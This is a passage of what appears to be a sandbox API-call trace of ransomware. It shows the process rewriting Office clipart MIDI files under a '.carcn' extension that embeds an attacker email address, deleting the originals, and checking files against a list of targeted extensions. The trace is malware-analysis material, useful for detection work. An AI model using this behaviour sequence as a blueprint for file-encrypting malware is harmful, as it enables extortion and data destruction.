dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.330] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.330] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0271.331] GetLastError () returned 0x0 [0271.331] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2178, lpOverlapped=0x0) returned 1 [0271.405] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2180, lpOverlapped=0x0) returned 1 [0271.407] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.407] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.407] SetEndOfFile (hFile=0x528) returned 1 [0271.407] CloseHandle (hObject=0x528) returned 1 [0271.408] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.408] SetEndOfFile (hFile=0x53c) returned 1 [0271.411] CloseHandle (hObject=0x53c) returned 1 [0271.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0271.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.417] lstrlenW (lpString=".doc") returned 4 [0271.417] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.417] lstrlenW (lpString=".docx") returned 5 [0271.417] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.417] lstrlenW (lpString=".pdf") returned 4 [0271.417] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.417] lstrlenW (lpString=".xls") returned 4 [0271.417] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.417] lstrlenW (lpString=".xlsx") returned 5 [0271.417] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.417] lstrlenW (lpString=".ppt") returned 4 [0271.417] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString=".zip") returned 4 [0271.418] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.418] lstrlenW (lpString=".rar") returned 4 [0271.418] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.418] lstrlenW (lpString=".bz2") returned 4 [0271.418] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.418] lstrlenW (lpString=".7z") returned 3 [0271.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString=".dbf") returned 4 [0271.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString=".1cd") returned 4 [0271.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString=".jpg") returned 4 [0271.418] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.418] lstrlenW (lpString=".doc") returned 4 [0271.418] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.418] lstrlenW (lpString=".docx") returned 5 [0271.418] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.418] lstrlenW (lpString=".pdf") returned 4 [0271.418] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.419] lstrlenW (lpString=".xls") returned 4 [0271.419] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.419] lstrlenW (lpString=".xlsx") returned 5 [0271.419] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.419] lstrlenW (lpString=".ppt") returned 4 [0271.419] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.419] lstrlenW (lpString=".zip") returned 4 [0271.419] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.419] lstrlenW (lpString=".rar") returned 4 [0271.419] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.420] lstrlenW (lpString=".bz2") returned 4 [0271.420] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.420] lstrlenW (lpString=".7z") returned 3 [0271.420] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.420] lstrlenW (lpString=".dbf") returned 4 [0271.420] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.420] lstrlenW (lpString=".1cd") returned 4 [0271.420] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0271.420] lstrlenW (lpString=".jpg") returned 4 [0271.420] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.420] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.420] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0271.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.421] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=5843) returned 1 [0271.421] CloseHandle (hObject=0x53c) returned 1 [0271.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0271.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.422] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.422] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0271.423] GetLastError () returned 0x0 [0271.423] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x16d3, lpOverlapped=0x0) returned 1 [0271.444] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x16e0, lpOverlapped=0x0) returned 1 [0271.445] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.446] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.446] SetEndOfFile (hFile=0x528) returned 1 [0271.454] CloseHandle (hObject=0x528) returned 1 [0271.455] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.455] SetEndOfFile (hFile=0x53c) returned 1 [0271.461] CloseHandle (hObject=0x53c) returned 1 [0271.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0271.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.463] lstrlenW (lpString=".doc") returned 4 [0271.463] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.463] lstrlenW (lpString=".docx") returned 5 [0271.463] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.463] lstrlenW (lpString=".pdf") returned 4 [0271.463] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.463] lstrlenW (lpString=".xls") returned 4 [0271.463] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.463] lstrlenW (lpString=".xlsx") returned 5 [0271.463] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.463] lstrlenW (lpString=".ppt") returned 4 [0271.463] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.463] lstrlenW (lpString=".zip") returned 4 [0271.463] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.463] lstrlenW (lpString=".rar") returned 4 [0271.463] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.463] lstrlenW (lpString=".bz2") returned 4 [0271.463] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.463] lstrlenW (lpString=".7z") returned 3 [0271.463] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString=".dbf") returned 4 [0271.464] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString=".1cd") returned 4 [0271.464] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString=".jpg") returned 4 [0271.464] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString=".doc") returned 4 [0271.464] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.464] lstrlenW (lpString=".docx") returned 5 [0271.464] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.464] lstrlenW (lpString=".pdf") returned 4 [0271.464] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.464] lstrlenW (lpString=".xls") returned 4 [0271.464] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.464] lstrlenW (lpString=".xlsx") returned 5 [0271.464] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.464] lstrlenW (lpString=".ppt") returned 4 [0271.464] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.464] lstrlenW (lpString=".zip") returned 4 [0271.464] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.465] lstrlenW (lpString=".rar") returned 4 [0271.465] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.465] lstrlenW (lpString=".bz2") returned 4 [0271.465] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.465] lstrlenW (lpString=".7z") returned 3 [0271.465] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.465] lstrlenW (lpString=".dbf") returned 4 [0271.465] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.465] lstrlenW (lpString=".1cd") returned 4 [0271.465] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0271.465] lstrlenW (lpString=".jpg") returned 4 [0271.465] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.465] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.465] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0271.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.467] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6880) returned 1 [0271.467] CloseHandle (hObject=0x53c) returned 1 [0271.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0271.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.468] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.468] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0271.469] GetLastError () returned 0x0 [0271.469] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0271.484] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1af0, lpOverlapped=0x0) returned 1 [0271.485] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.485] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.485] SetEndOfFile (hFile=0x528) returned 1 [0271.486] CloseHandle (hObject=0x528) returned 1 [0271.486] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.486] SetEndOfFile (hFile=0x53c) returned 1 [0271.489] CloseHandle (hObject=0x53c) returned 1 [0271.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0271.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.490] lstrlenW (lpString=".doc") returned 4 [0271.490] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.490] lstrlenW (lpString=".docx") returned 5 [0271.490] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.490] lstrlenW (lpString=".pdf") returned 4 [0271.490] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.490] lstrlenW (lpString=".xls") returned 4 [0271.490] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.490] lstrlenW (lpString=".xlsx") returned 5 [0271.490] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.490] lstrlenW (lpString=".ppt") returned 4 [0271.490] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.490] lstrlenW (lpString=".zip") returned 4 [0271.491] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.491] lstrlenW (lpString=".rar") returned 4 [0271.491] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.491] lstrlenW (lpString=".bz2") returned 4 [0271.491] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.491] lstrlenW (lpString=".7z") returned 3 [0271.491] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.491] lstrlenW (lpString=".dbf") returned 4 [0271.491] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.491] lstrlenW (lpString=".1cd") returned 4 [0271.491] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.491] lstrlenW (lpString=".jpg") returned 4 [0271.491] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.491] lstrlenW (lpString=".doc") returned 4 [0271.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.491] lstrlenW (lpString=".docx") returned 5 [0271.491] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.491] lstrlenW (lpString=".pdf") returned 4 [0271.491] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.491] lstrlenW (lpString=".xls") returned 4 [0271.491] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.492] lstrlenW (lpString=".xlsx") returned 5 [0271.492] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.492] lstrlenW (lpString=".ppt") returned 4 [0271.492] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.492] lstrlenW (lpString=".zip") returned 4 [0271.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.492] lstrlenW (lpString=".rar") returned 4 [0271.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.492] lstrlenW (lpString=".bz2") returned 4 [0271.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.492] lstrlenW (lpString=".7z") returned 3 [0271.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.492] lstrlenW (lpString=".dbf") returned 4 [0271.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.492] lstrlenW (lpString=".1cd") returned 4 [0271.492] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0271.492] lstrlenW (lpString=".jpg") returned 4 [0271.492] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.492] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.493] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0271.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.496] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=5968) returned 1 [0271.496] CloseHandle (hObject=0x53c) returned 1 [0271.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0271.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0271.497] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.497] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.497] 